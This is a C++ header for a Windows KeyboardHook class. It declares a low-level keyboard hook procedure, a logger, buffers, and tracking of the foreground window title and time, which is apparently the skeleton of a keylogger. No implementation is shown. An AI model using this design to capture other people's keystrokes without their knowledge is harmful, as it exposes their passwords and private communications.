#ifndef __KEYBOARDHOOK_H__
#define __KEYBOARDHOOK_H__

#include "Logger.h"
#include <windows.h>

#define BUFFER_SIZE 1000

class KeyboardHook
{
public:
	KeyboardHook(Logger* i_pLogger);

	void hookIt(void);
	void endlessQuery();

	LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
	static LRESULT CALLBACK LowLevelKeyboardProcWrapper(int nCode, WPARAM wParam, LPARAM lParam);


private:
	Logger* const m_pLogger;
	HWND m_foregroundWnd;
	TCHAR m_textBuffer[BUFFER_SIZE];
	TCHAR m_textBuffer2[BUFFER_SIZE];
	time_t m_lastTime;

	static KeyboardHook* sm_objPointer;

	inline bool logicalXOR(bool p, bool q) const;

	void logTitleAndTime();
};

#endif
